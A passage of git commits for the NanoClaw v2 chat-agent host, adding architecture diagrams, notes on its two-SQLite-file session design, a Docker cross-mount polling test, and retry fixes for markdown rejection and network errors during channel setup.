+  subgraph Platforms["Messaging Platforms"]
+    P1[Discord]
+    P2[Telegram]
+    P3[Slack]
+    P4[GitHub / Linear]
+    P5[WhatsApp / iMessage / Teams / GChat / Matrix / Webex / Email]
+  end
+
+  subgraph Host["Host Process (Node)"]
+    direction TB
+    Bridge["Chat SDK Bridge
src/channels/chat-sdk-bridge.ts"] + Router["Router
src/router.ts
platformId + threadId → session"] + SessMgr["Session Manager
src/session-manager.ts"] + Runner["Container Runner
src/container-runner.ts
OneCLI ensureAgent + spawn"] + Delivery["Delivery Poller
src/delivery.ts
1s active / 60s sweep"] + Sweep["Host Sweep
src/host-sweep.ts"] + Central[("Central DB · data/v2.db
agent_groups · messaging_groups
messaging_group_agents · sessions
pending_approvals")] + end + + subgraph OneCLI["OneCLI Gateway (0.3.1)"] + Vault["Agent Vault
secrets + OAuth"] + Approvals["configureManualApproval"] + SecretsFacade["onecli-secrets.ts
credential collection"] + end + + subgraph Session["Per-Session Container"] + direction TB + PollLoop["Poll Loop
container/agent-runner"] + Provider["Claude Agent SDK
(codex / opencode planned)"] + MCP["MCP Tools
send_message · send_file · edit_message
send_card · ask_user_question · schedule_task
create_agent · install_packages · add_mcp_server
request_rebuild · trigger_credential_collection"] + InDB[("inbound.db
host writes · even seq")] + OutDB[("outbound.db
container writes · odd seq")] + end + + Folder["Agent Group FS
groups/*
CLAUDE.md · memory · skills"] + + P1 & P2 & P3 & P4 & P5 --> Bridge + Bridge --> Router + Router --> Central + Router --> SessMgr + SessMgr --> InDB + SessMgr --> Runner + Runner --> OneCLI + Runner --> PollLoop + PollLoop --> InDB + PollLoop --> Provider + Provider --> MCP + MCP --> OutDB + OutDB --> Delivery + Delivery --> Central + Delivery --> Bridge + Bridge --> P1 & P2 & P3 & P4 & P5 + Sweep --> InDB + Sweep --> OutDB + Sweep --> Central + Runner -.mounts.-> Folder + MCP -.approval.-> Approvals + Approvals --> Central + MCP -.credential req.-> SecretsFacade + SecretsFacade --> Vault + Provider -.API calls.-> Vault +
+
+
+ +
+

2Message Flow

+

+ End-to-end path of a single message. The host and container never write + to the same SQLite file — the split between inbound and outbound DBs is + what makes this lock-free under concurrent activity. +

+
+
+sequenceDiagram
+  participant P as Platform (Telegram)
+  participant B as Chat SDK Bridge
+  participant R as Router
+  participant SM as Session Manager
+  participant IDB as inbound.db
+  participant C as Container (agent-runner)
+  participant ODB as outbound.db
+  participant D as Delivery Poller
+
+  P->>B: new message
+  B->>R: routeInbound(platformId, threadId, msg)
+  R->>R: resolve messaging_group → agent_group → session
(agent-shared · shared · per-thread) + R->>SM: ensure session + DBs exist + R->>IDB: INSERT messages_in (even seq) + R->>C: wake container (spawn or signal) + C->>IDB: poll messages_in + C->>C: format xml → Claude SDK stream + C->>ODB: INSERT messages_out (odd seq)
parse <message to='name'> blocks + D->>ODB: 1s active poll / 60s sweep + D->>D: hasDestination() re-validate + D->>B: deliver via adapter + B->>P: send · edit · react · file · card +
+
+
+ +
+

3Named Destinations & Agent-to-Agent

+

+ Agents address outputs by local name. The host looks up each name against + the agent's destinations table at delivery time — dropping anything + unauthorized. The same table routes agent-to-agent messages to a sibling + agent's inbound.db with bidirectional permission rows. +

+
+
+flowchart LR
+  subgraph AgentA["Agent Group A (main)"]
+    A_out["<message to='slack'>...</message>
<message to='browser-agent'>...</message>
<internal>scratchpad</internal>"] + end + + subgraph Dests["inbound.db.destinations (per agent)"] + D1["slack → messaging_group 42"] + D2["browser-agent → agent_group 7
(bidirectional)"] + D3["github → messaging_group 13"] + end + + subgraph AgentB["Agent Group B (browser sub-agent)"] + B_session["own inbound.db / outbound.db
inherited destination back to A"] + end + + Slack[Slack] + GitHub[GitHub PR] + + A_out -->|parse + lookup| Dests + D1 -->|deliver| Slack + D2 -->|write to B's inbound.db| B_session + D3 -->|deliver| GitHub + B_session -.reply via 'parent'.-> Dests +
+
+
+ +
+

4Entity Model

+

+ Messaging groups and agent groups are many-to-many, joined via + messaging_group_agents. The session_mode + column selects one of three isolation levels. +

+
+
+erDiagram
+  agent_groups ||--o{ messaging_group_agents : wired
+  messaging_groups ||--o{ messaging_group_agents : wired
+  agent_groups ||--o{ sessions : runs
+  messaging_groups ||--o{ sessions : context
+  agent_groups ||--o{ agent_destinations : owns
+  agent_groups ||--o{ pending_approvals : requests
+
+  agent_groups {
+    int id
+    string name
+    string folder
+    bool is_admin
+    string agent_provider
+    json container_config
+  }
+  messaging_groups {
+    int id
+    string channel_type
+    string platform_id
+    string name
+    bool is_group
+    string admin_user_id
+  }
+  messaging_group_agents {
+    int messaging_group_id
+    int agent_group_id
+    string session_mode
+    json trigger_rules
+    int priority
+  }
+  sessions {
+    int id
+    int agent_group_id
+    int messaging_group_id
+    string sdk_session_id
+    string status
+  }
+
+
+ + + + + + + + + +
Levelsession_modeSharedExample
1 · Shared sessionagent-sharedWorkspace + memory + conversationSlack + GitHub webhooks in one thread
2 · Same agent, separate sessionsshared / per-threadWorkspace + memory onlyOne agent across 3 Telegram chats
3 · Separate agent groups— (different agent_group_id)NothingPersonal vs work channels
+
+ +
+

5Two-DB Split

+

+ Each SQLite file has exactly one writer. The container touches a + heartbeat file instead of UPDATE-ing a liveness row, so host + sweep can detect staleness via stat(mtime) without opening the + DB. Host uses even seq numbers, container uses odd — collision-free. +

+
+
+flowchart LR
+  subgraph Mount["/workspace (volume mount)"]
+    In[("inbound.db")]
+    Out[("outbound.db")]
+    HB["/.heartbeat (file touch)"]
+  end
+
+  Host[Host process] -->|writes · even seq| In
+  Host -->|reads| Out
+  Container[agent-runner] -->|reads| In
+  Container -->|writes · odd seq| Out
+  Container -->|touch every poll| HB
+  HostSweep[Host sweep] -->|stat mtime| HB
+  HostSweep -->|reads processing_ack| In
+
+
+
+ +
NanoClaw v2 · branch v2 · generated from docs/v2-checklist.md, v2-architecture-draft.md, v2-isolation-model.md, v2-setup-wiring.md
+
+ + + + diff --git a/docs/v2-architecture-diagram.md b/docs/v2-architecture-diagram.md new file mode 100644 index 0000000..846a612 --- /dev/null +++ b/docs/v2-architecture-diagram.md @@ -0,0 +1,200 @@ +# NanoClaw v2 Architecture Diagram + +## System Overview + +```mermaid +flowchart TB + subgraph Platforms["Messaging Platforms"] + P1[Discord] + P2[Telegram] + P3[Slack] + P4[GitHub / Linear] + P5[WhatsApp / iMessage / Teams / GChat / Matrix / Webex / Email] + end + + subgraph Host["Host Process (Node)"] + direction TB + Bridge["Chat SDK Bridge
(src/channels/chat-sdk-bridge.ts)"] + Router["Router
(src/router.ts)
platformId + threadId -> messaging_group -> agent_group -> session"] + SessMgr["Session Manager
(src/session-manager.ts)
creates inbound.db + outbound.db"] + Runner["Container Runner
(src/container-runner.ts)
OneCLI ensureAgent + spawn"] + Delivery["Delivery Poller
(src/delivery.ts)
1s active / 60s sweep"] + Sweep["Host Sweep
(src/host-sweep.ts)
heartbeat, retry, recurrence"] + Central[("Central DB
data/v2.db
agent_groups
messaging_groups
messaging_group_agents
sessions
pending_approvals")] + end + + subgraph OneCLI["OneCLI Gateway (0.3.1)"] + Vault["Agent Vault
secrets + OAuth"] + Approvals["configureManualApproval
-> pending_approvals"] + SecretsFacade["src/onecli-secrets.ts
credential collection"] + end + + subgraph Session["Per-Session Container (Docker / Apple Container)"] + direction TB + PollLoop["Poll Loop
(container/agent-runner)"] + Provider["Claude Agent SDK
(providers: claude, mock, todo: codex/opencode)"] + MCP["MCP Tools
send_message, send_file, edit_message,
add_reaction, send_card, ask_user_question,
schedule_task, create_agent,
install_packages, add_mcp_server, request_rebuild,
trigger_credential_collection"] + Skills["Container Skills
(container/skills/)"] + InDB[("inbound.db
host writes
even seq
messages_in
destinations
processing_ack")] + OutDB[("outbound.db
container writes
odd seq
messages_out
heartbeat file")] + end + + subgraph Groups["Agent Group Filesystem (groups/*)"] + Folder["CLAUDE.md
memory
per-group skills
container_config"] + end + + P1 & P2 & P3 & P4 & P5 --> Bridge + Bridge --> Router + Router --> Central + Router --> SessMgr + SessMgr --> InDB + SessMgr --> Runner + Runner --> OneCLI + Runner --> PollLoop + PollLoop --> InDB + PollLoop --> Provider + Provider --> MCP + Provider --> Skills + MCP --> OutDB + OutDB --> Delivery + Delivery --> Central + Delivery --> Bridge + Bridge --> P1 & P2 & P3 & P4 & P5 + Sweep --> InDB + Sweep --> OutDB + Sweep --> Central + Runner -.mounts.-> Folder + MCP -.approval.-> Approvals + Approvals --> Central + MCP -.credential req.-> SecretsFacade + SecretsFacade --> Vault + Provider -.API calls.-> Vault +``` + +## Message Flow (inbound -> agent -> outbound) + +```mermaid +sequenceDiagram + participant P as Platform (e.g. Telegram) + participant B as Chat SDK Bridge + participant R as Router + participant SM as Session Manager + participant IDB as inbound.db + participant C as Container (agent-runner) + participant ODB as outbound.db + participant D as Delivery Poller + + P->>B: new message + B->>R: routeInbound(platformId, threadId, msg) + R->>R: resolve messaging_group -> agent_group -> session
(agent-shared | shared | per-thread) + R->>SM: ensure session + DBs exist + R->>IDB: INSERT messages_in (even seq) + R->>C: wake container (docker run / already running) + C->>IDB: poll messages_in + C->>C: format xml, stream to Claude SDK + C->>ODB: INSERT messages_out (odd seq)
parse blocks + D->>ODB: 1s poll (active) / 60s (sweep) + D->>D: hasDestination() re-validate + D->>B: deliver via adapter + B->>P: send message / edit / react / file / card +``` + +## Named Destinations + Agent-to-Agent + +```mermaid +flowchart LR + subgraph AgentA["Agent Group A (main)"] + A_out["output:
<message to='slack'>...</message>
<message to='browser-agent'>...</message>
<internal>scratchpad</internal>"] + end + + subgraph Dests["inbound.db.destinations (per agent)"] + D1["slack -> messaging_group 42"] + D2["browser-agent -> agent_group 7
(bidirectional row)"] + D3["github -> messaging_group 13"] + end + + subgraph AgentB["Agent Group B (browser sub-agent)"] + B_session["own inbound.db / outbound.db
inherited destination back to A"] + end + + Slack[Slack channel] + GitHub[GitHub PR thread] + + A_out -->|parse + lookup| Dests + D1 -->|deliver| Slack + D2 -->|write to B's inbound.db| B_session + D3 -->|deliver| GitHub + B_session -.reply via 'parent'.-> Dests +``` + +## Entity Model + Isolation Levels + +```mermaid +erDiagram + agent_groups ||--o{ messaging_group_agents : wired + messaging_groups ||--o{ messaging_group_agents : wired + agent_groups ||--o{ sessions : runs + messaging_groups ||--o{ sessions : context + agent_groups ||--o{ agent_destinations : owns + agent_groups ||--o{ pending_approvals : requests + + agent_groups { + int id + string name + string folder + bool is_admin + string agent_provider + json container_config + } + messaging_groups { + int id + string channel_type + string platform_id + string name + bool is_group + string admin_user_id + } + messaging_group_agents { + int messaging_group_id + int agent_group_id + string session_mode "agent-shared | shared | per-thread" + json trigger_rules + int priority + } + sessions { + int id + int agent_group_id + int messaging_group_id + string sdk_session_id + string status + } +``` + +### Isolation Level Cheatsheet + +| Level | `session_mode` | What's shared | Example | +|---|---|---|---| +| 1. Shared session | `agent-shared` | Workspace + memory + conversation | Slack + GitHub webhooks in one thread | +| 2. Same agent, separate sessions | `shared` / `per-thread` | Workspace + memory only | One agent across 3 Telegram chats | +| 3. Separate agent groups | (different `agent_group_id`) | Nothing | Personal vs work channels | + +## Two-DB Split (why) + +```mermaid +flowchart LR + subgraph Mount["/workspace (volume mounted into container)"] + In[("inbound.db")] + Out[("outbound.db")] + HB["/.heartbeat (file touch)"] + end + + Host[Host process] -->|"writes only
(even seq)"| In + Host -->|reads| Out + Container[agent-runner] -->|reads| In + Container -->|"writes only
(odd seq)"| Out + Container -->|touch every poll| HB + HostSweep[Host sweep] -->|stat mtime| HB + HostSweep -->|reads processing_ack| In + + note1["Each file has exactly ONE writer.
Eliminates SQLite cross-process write contention.
Collision-free seq numbering."] +``` diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index d0aea55..86c8b45 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -8,6 +8,8 @@ Status: [x] done, [~] partial, [ ] not started - [x] Session DB replaces IPC (messages_in / messages_out as sole IO) - [x] Two-DB split: inbound.db (host-owned) + outbound.db (container-owned) — zero cross-process write contention + - **Cross-mount invariants (empirically validated, see `scripts/sanity-live-poll.ts`):** (1) `journal_mode=DELETE` on every session DB — WAL's `-shm` is memory-mapped and VirtioFS does not propagate mmap coherency host→guest, so WAL leaves the container's poll loop frozen on an early snapshot with no error; (2) host opens-writes-closes per operation — the close is what invalidates the container's VirtioFS page cache; (3) one writer per file — DELETE-mode with two writers corrupts because journal-unlink doesn't propagate atomically. Each invariant was individually confirmed by flipping it and observing silent message loss or corruption. Do not "simplify" by unifying the DBs, switching to WAL, or keeping a long-lived host connection. + - **Seq parity is load-bearing, not cleanup:** host writes even seqs, container writes odd seqs. The seq is the agent-facing message ID returned by `send_message` and consumed by `edit_message` / `add_reaction`, and `getMessageIdBySeq()` looks up by seq across both tables. Removing parity would let a single ID resolve to the wrong row. - [x] Central DB (agent groups, messaging groups, sessions, routing) - [x] Host sweep (stale detection via heartbeat file, retry with backoff, recurrence scheduling) - [x] Active delivery polling (1s for running sessions) @@ -166,6 +168,7 @@ Status: [x] done, [~] partial, [ ] not started - [~] Credential collection from chat — `trigger_credential_collection` MCP tool; agent researches API config, card → modal → `onecli secrets create` via internal facade (`src/onecli-secrets.ts`); credential value never enters agent context - [ ] Replace `src/onecli-secrets.ts` shell facade with SDK-native secret management when `@onecli-sh/sdk` adds it - [ ] Per-agent-group secret scoping via OneCLI `agentId` (facade passes it today; CLI ignores it until upstream supports) + - [ ] **Attach newly created secrets to the calling agent** — `trigger_credential_collection` today runs `onecli secrets create` but leaves the secret unassigned, so the agent that requested the credential still gets zero injections. Fix options: (a) follow-up `onecli agents set-secrets` call in `src/onecli-secrets.ts` after create, (b) set the agent to `mode=all`, or (c) upstream ask — `onecli secrets create --assign-to-agent-ids ` so it's a one-shot and orphaned secrets are impossible. Prefer (c); use (a) as the interim. - [ ] **Chat SDK input support beyond Slack (upstream ask)** — today only Slack's Modal surface works for secure input. The platforms themselves support it, but Chat SDK doesn't expose it: - [ ] **Discord** — native modal (`InteractionResponseType.Modal` with `ActionRow([TextInput])`). Map `event.openModal(Modal(...))` to the Discord REST callback. - [ ] **Microsoft Teams** — Adaptive Card with `Input.Text`, delivered as a regular message (inline, no modal-trigger needed). diff --git a/scripts/sanity-live-poll.ts b/scripts/sanity-live-poll.ts new file mode 100644 index 0000000..dad1d4e --- /dev/null +++ b/scripts/sanity-live-poll.ts @@ -0,0 +1,93 @@ +/** + * Cross-mount visibility regression test for the two-DB session architecture. + * + * What this catches: any change that breaks host→container write propagation + * across the Docker bind mount. The v2 session DB design relies on three + * invariants working together: + * + * 1. journal_mode = DELETE on every session DB (not WAL) + * 2. Host opens-writes-closes the DB file on every write + * 3. One writer per file (inbound = host, outbound = container) + * + * This script exercises a long-lived container-side reader polling a DB + * while the host writes. If visibility is working, the reader sees each + * write within one poll period. If any of the invariants regresses, the + * reader either sees nothing, sees only the first write, or sees updates + * only after the host closes its connection for good. + * + * Expected passing output (DELETE mode, close-per-write): + * reader sees each seq within ~1s of it being written. + * Anything else is a regression — investigate BEFORE assuming it's flaky. + * + * Keep this around. It ran for ~20 minutes once to map the failure modes + * and it takes about 60s to run — cheap insurance. + * + * Requires: Docker Desktop running, nanoclaw-agent:latest image built. + */ + +import { spawn, spawnSync } from "node:child_process"; +import { join } from "node:path"; +import { mkdirSync, rmSync } from "node:fs"; +import Database from "better-sqlite3"; + +const dbDir = join("/tmp", `nanoclaw-live-${Date.now()}`); +mkdirSync(dbDir, { recursive: true }); +spawnSync("chmod", ["777", dbDir]); +const dbPath = join(dbDir, "live.db"); + +for (const journalMode of ["DELETE", "WAL"]) { + console.log(`\n=== ${journalMode} ===`); + rmSync(dbPath, { force: true }); + rmSync(dbPath + "-wal", { force: true }); + rmSync(dbPath + "-shm", { force: true }); + rmSync(dbPath + "-journal", { force: true }); + + const db = new Database(dbPath); + db.pragma(`journal_mode = ${journalMode}`); + db.pragma("synchronous = FULL"); + db.exec("CREATE TABLE msgs (seq INTEGER PRIMARY KEY, content TEXT)"); + db.close(); + + // Start container poller in background + const contProc = spawn("docker", [ + "run", "--rm", "-w", "/app", + "-v", `${dbDir}:/workspace`, + "--entrypoint", "node", + "nanoclaw-agent:latest", + "-e", + `const Database = require('better-sqlite3'); + const db = new Database('/workspace/live.db', { readonly: true }); + db.pragma('busy_timeout = 2000'); + const stmt = db.prepare('SELECT COUNT(*) as n, MAX(seq) as hi FROM msgs'); + let count = 0; + const timer = setInterval(() => { + const r = stmt.get(); + console.log('poll t=' + (Date.now() % 100000) + ' count=' + r.n + ' max=' + r.hi); + if (++count >= 10) { clearInterval(timer); db.close(); } + }, 1000);`, + ], { stdio: ["ignore", "pipe", "pipe"] }); + + contProc.stdout.on("data", (d) => process.stdout.write(` [cont] ${d}`)); + contProc.stderr.on("data", (d) => process.stderr.write(` [cont-err] ${d}`)); + + // Give container a moment to start + const waitUntil = Date.now() + 2000; + while (Date.now() < waitUntil) {} + + // Host opens, writes, CLOSES each time (matches production session-manager pattern) + for (let i = 1; i <= 8; i++) { + const h = new Database(dbPath); + h.pragma(`journal_mode = ${journalMode}`); + h.pragma("synchronous = FULL"); + h.prepare("INSERT INTO msgs (seq, content) VALUES (?, ?)").run(i, `msg-${i}`); + h.close(); + console.log(` [host] wrote+closed seq=${i} t=${Date.now() % 100000}`); + const sleepUntil = Date.now() + 1000; + while (Date.now() < sleepUntil) {} + } + + // Wait for container to finish + await new Promise((res) => contProc.once("exit", () => res())); +} + +rmSync(dbDir, { recursive: true, force: true }); diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 00e942d..4d18a0e 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -29,7 +29,9 @@ export interface ChannelSetup { onAction(questionId: string, selectedOption: string, userId: string): void; /** Credential collection hooks — used by chat-sdk-bridge to route the modal flow. */ - getCredentialForModal?(credentialId: string): { name: string; description: string | null; hostPattern: string } | null; + getCredentialForModal?( + credentialId: string, + ): { name: string; description: string | null; hostPattern: string } | null; onCredentialReject?(credentialId: string): void; onCredentialSubmit?(credentialId: string, value: string): void; onCredentialChannelUnsupported?(credentialId: string): void; diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index ab49adf..5cbf0c6 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -188,10 +188,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter } try { const modalChildren = [ - CardText( - pending.description ?? - `Enter the value for ${pending.name} (host: ${pending.hostPattern}).`, - ), + CardText(pending.description ?? `Enter the value for ${pending.name} (host: ${pending.hostPattern}).`), TextInput({ id: 'value', label: pending.name, diff --git a/src/credentials.ts b/src/credentials.ts index f4955c2..831ef3d 100644 --- a/src/credentials.ts +++ b/src/credentials.ts @@ -34,10 +34,7 @@ export function setCredentialDeliveryAdapter(adapter: ChannelDeliveryAdapter): v } /** Handle a `request_credential` system action from a container. */ -export async function handleCredentialRequest( - content: Record, - session: Session, -): Promise { +export async function handleCredentialRequest(content: Record, session: Session): Promise { if (!adapterRef) { notifyAgentCredentialResult(session, content.credentialId as string, 'failed', 'delivery adapter not ready'); return; @@ -53,12 +50,7 @@ export async function handleCredentialRequest( const description = (content.description as string) || null; if (!credentialId || !name || !hostPattern) { - notifyAgentCredentialResult( - session, - credentialId, - 'failed', - 'name and hostPattern are required', - ); + notifyAgentCredentialResult(session, credentialId, 'failed', 'name and hostPattern are required'); return; } @@ -299,11 +291,7 @@ function buildCardText(opts: { valueFormat: string | null; description: string | null; }): string { - const lines = [ - `🔑 Credential request: ${opts.name}`, - '', - `Host: \`${opts.hostPattern}\``, - ]; + const lines = [`🔑 Credential request: ${opts.name}`, '', `Host: \`${opts.hostPattern}\``]; if (opts.headerName) lines.push(`Header: \`${opts.headerName}\``); if (opts.valueFormat) lines.push(`Format: \`${opts.valueFormat}\``); if (opts.description) lines.push('', opts.description); diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 095e4be..8e7f05d 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -57,7 +57,6 @@ describe('migrations', () => { // Running again should not throw runMigrations(db); }); - }); // ── Agent Groups ── diff --git a/src/db/sessions.ts b/src/db/sessions.ts index e3338d0..75aacd2 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -93,7 +93,10 @@ export function deletePendingQuestion(questionId: string): void { // ── Pending Approvals ── -export function createPendingApproval(pa: Partial & Pick): void { +export function createPendingApproval( + pa: Partial & + Pick, +): void { getDb() .prepare( `INSERT INTO pending_approvals diff --git a/src/delivery.ts b/src/delivery.ts index fdcf054..368b2f9 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -312,9 +312,44 @@ async function deliverMessage( return; } - // Agent-to-agent — route to target session (with permission check) + // Agent-to-agent — route to target session (with permission check). + // Permission is enforced via agent_destinations — the source agent must have + // a row for the target. Content is copied verbatim; the target's formatter + // will look up the source agent in its own local map to display a name. if (msg.channel_type === 'agent') { - await routeAgentMessage(msg, session); + const targetAgentGroupId = msg.platform_id; + if (!targetAgentGroupId) { + log.warn('Agent message missing target agent group ID', { id: msg.id }); + return; + } + if (!hasDestination(session.agent_group_id, 'agent', targetAgentGroupId)) { + log.warn('Unauthorized agent-to-agent message — dropping', { + source: session.agent_group_id, + target: targetAgentGroupId, + }); + return; + } + if (!getAgentGroup(targetAgentGroupId)) { + log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); + return; + } + const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); + writeSessionMessage(targetAgentGroupId, targetSession.id, { + id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: msg.content, + }); + log.info('Agent message routed', { + from: session.agent_group_id, + to: targetAgentGroupId, + targetSession: targetSession.id, + }); + const fresh = getSession(targetSession.id); + if (fresh) await wakeContainer(fresh); return; } @@ -393,58 +428,6 @@ async function deliverMessage( return platformMsgId; } -/** - * Route an agent-to-agent message to the target agent's session. - * - * Permission is enforced via agent_destinations — the source agent must have - * a row for the target. Content is copied verbatim; the target's formatter - * will look up the source agent in its own local map to display a name. - */ -async function routeAgentMessage( - msg: { id: string; platform_id: string | null; content: string }, - sourceSession: Session, -): Promise { - const targetAgentGroupId = msg.platform_id; - if (!targetAgentGroupId) { - log.warn('Agent message missing target agent group ID', { id: msg.id }); - return; - } - - if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) { - log.warn('Unauthorized agent-to-agent message — dropping', { - source: sourceSession.agent_group_id, - target: targetAgentGroupId, - }); - return; - } - - if (!getAgentGroup(targetAgentGroupId)) { - log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); - return; - } - - const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); - - writeSessionMessage(targetAgentGroupId, targetSession.id, { - id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, - kind: 'chat', - timestamp: new Date().toISOString(), - platformId: sourceSession.agent_group_id, - channelType: 'agent', - threadId: null, - content: msg.content, - }); - - log.info('Agent message routed', { - from: sourceSession.agent_group_id, - to: targetAgentGroupId, - targetSession: targetSession.id, - }); - - const fresh = getSession(targetSession.id); - if (fresh) await wakeContainer(fresh); -} - /** Ensure the delivered table has new columns (migration for existing sessions). */ function migrateDeliveredTable(db: Database.Database): void { const cols = new Set( diff --git a/src/session-manager.ts b/src/session-manager.ts index 1f1d227..aad0717 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -1,10 +1,14 @@ /** - * Session lifecycle management. - * Creates session folders + DBs, writes messages, manages container status. + * Session lifecycle: folders, DBs, messages, container status. * - * Two-DB architecture: each session has inbound.db (host-owned) and outbound.db - * (container-owned). This eliminates SQLite write contention across the - * host-container mount boundary — each file has exactly one writer. + * Two-DB split — inbound.db (host writes) + outbound.db (container writes). + * Three cross-mount invariants are load-bearing: + * 1. journal_mode=DELETE — WAL's mmapped -shm doesn't refresh host→guest; + * the container would silently miss every new message. + * 2. Host opens-writes-CLOSES per op — close invalidates the container's + * page cache; a long-lived connection freezes its view at first read. + * 3. One writer per file — DELETE-mode journal-unlink isn't atomic across + * the mount; concurrent writers corrupt the DB. */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -260,7 +264,13 @@ export function writeDestinations(agentGroupId: string, sessionId: string): void log.debug('Destination map written', { sessionId, count: resolved.length }); } -/** Write a message to a session's inbound DB (messages_in). Host-only. */ +/** + * Write a message to a session's inbound DB (messages_in). Host-only. + * + * ⚠ Opens and closes the DB on every call. Do not refactor to reuse a + * long-lived connection — see the "Cross-mount visibility invariants" note + * at the top of this file. + */ export function writeSessionMessage( agentGroupId: string, sessionId: string, @@ -285,8 +295,13 @@ export function writeSessionMessage( db.pragma('busy_timeout = 5000'); try { - // Host uses even seq numbers, container uses odd — prevents collisions - // across the two-DB boundary without cross-DB coordination. + // Host uses even seq, container uses odd. This is not just collision + // avoidance between the two DB files — the seq is the agent-facing + // message ID returned by send_message and accepted by edit_message / + // add_reaction, and those tools look up by seq across BOTH tables + // (see container/agent-runner/src/db/messages-out.ts:getMessageIdBySeq). + // So the {messages_in.seq, messages_out.seq} namespace MUST be disjoint, + // or the agent's "edit message #5" could resolve to the wrong row. const maxSeq = (db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even From 4c477acca3672a752dbbf94805941c7fc1c288a2 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Sun, 12 Apr 2026 09:32:12 +0000 Subject: [PATCH 112/485] fix(v2): retry as plain text when adapter rejects markdown A single message with markdown the adapter couldn't parse (e.g. Telegram MarkdownV2 entity errors) would fail in deliverSessionMessages and be retried forever, blocking every subsequent reply on that session. Catch ValidationError from postMessage and retry once with the markdown stripped to plain text via markdownToPlainText. Files re-attach in a follow-up post since the plain-text retry drops the files payload shape. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 32 ++++++++++++++++++++++++++------ 1 file changed, 26 insertions(+), 6 deletions(-) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 5cbf0c6..df3e305 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -14,10 +14,12 @@ import { Button, Modal, TextInput, + markdownToPlainText, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage, } from 'chat'; +import { ValidationError } from '@chat-adapter/shared'; import { log } from '../log.js'; import { SqliteStateAdapter } from '../state-sqlite.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; @@ -373,12 +375,30 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter data: f.data, filename: f.filename, })); - if (fileUploads && fileUploads.length > 0) { - const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); - return result?.id; - } else { - const result = await adapter.postMessage(tid, { markdown: text }); - return result?.id; + try { + if (fileUploads && fileUploads.length > 0) { + const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + return result?.id; + } else { + const result = await adapter.postMessage(tid, { markdown: text }); + return result?.id; + } + } catch (err) { + // Permanent formatting failure (e.g. Telegram MarkdownV2 entity parse error): + // retry once as plain text so the queue isn't blocked forever. + if (err instanceof ValidationError) { + log.warn('Markdown rejected by adapter, retrying as plain text', { + adapter: adapter.name, + err: err.message, + }); + const plain = markdownToPlainText(text); + const result = await adapter.postMessage(tid, plain); + if (fileUploads && fileUploads.length > 0) { + await adapter.postMessage(tid, { markdown: '', files: fileUploads }); + } + return result?.id; + } + throw err; } } else if (message.files && message.files.length > 0) { // Files only, no text From 7bd8c6ad419771953f12b8c82fa4b9b1a119cfe1 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Sun, 12 Apr 2026 09:32:15 +0000 Subject: [PATCH 113/485] fix(v2): retry channel adapter setup on transient network errors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A NetworkError during adapter.setup() (e.g. Telegram deleteWebhook hitting a DNS hiccup at boot) would log the failure and immediately give up, leaving the channel permanently dead until the host process was manually restarted — even though the host kept running and other channels worked. Wrap the setup call in a small retry loop with backoff (2s, 5s, 10s) that fires only on NetworkError. Misconfigs (bad tokens, invalid options) still fail fast since they don't surface as NetworkError. Universal across channels — applies to any adapter that throws NetworkError from setup(), not just Telegram. --- src/channels/channel-registry.ts | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/src/channels/channel-registry.ts b/src/channels/channel-registry.ts index d327d33..a2981a6 100644 --- a/src/channels/channel-registry.ts +++ b/src/channels/channel-registry.ts @@ -4,9 +4,14 @@ * Channels self-register on import. The host calls initChannelAdapters() at startup * to instantiate and set up all registered adapters. */ +import { NetworkError } from '@chat-adapter/shared'; import type { ChannelAdapter, ChannelRegistration, ChannelSetup } from './adapter.js'; import { log } from '../log.js'; +const SETUP_RETRY_DELAYS_MS = [2000, 5000, 10000]; + +const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)); + const registry = new Map(); const activeAdapters = new Map(); @@ -49,7 +54,31 @@ export async function initChannelAdapters(setupFn: (adapter: ChannelAdapter) => } const setup = setupFn(adapter); - await adapter.setup(setup); + // Transient network failures during adapter init (e.g. Telegram deleteWebhook + // hitting a DNS hiccup at boot) would otherwise leave the channel permanently + // dead until manual restart. Retry only on NetworkError so misconfigs (bad + // tokens, etc.) still fail fast. + let 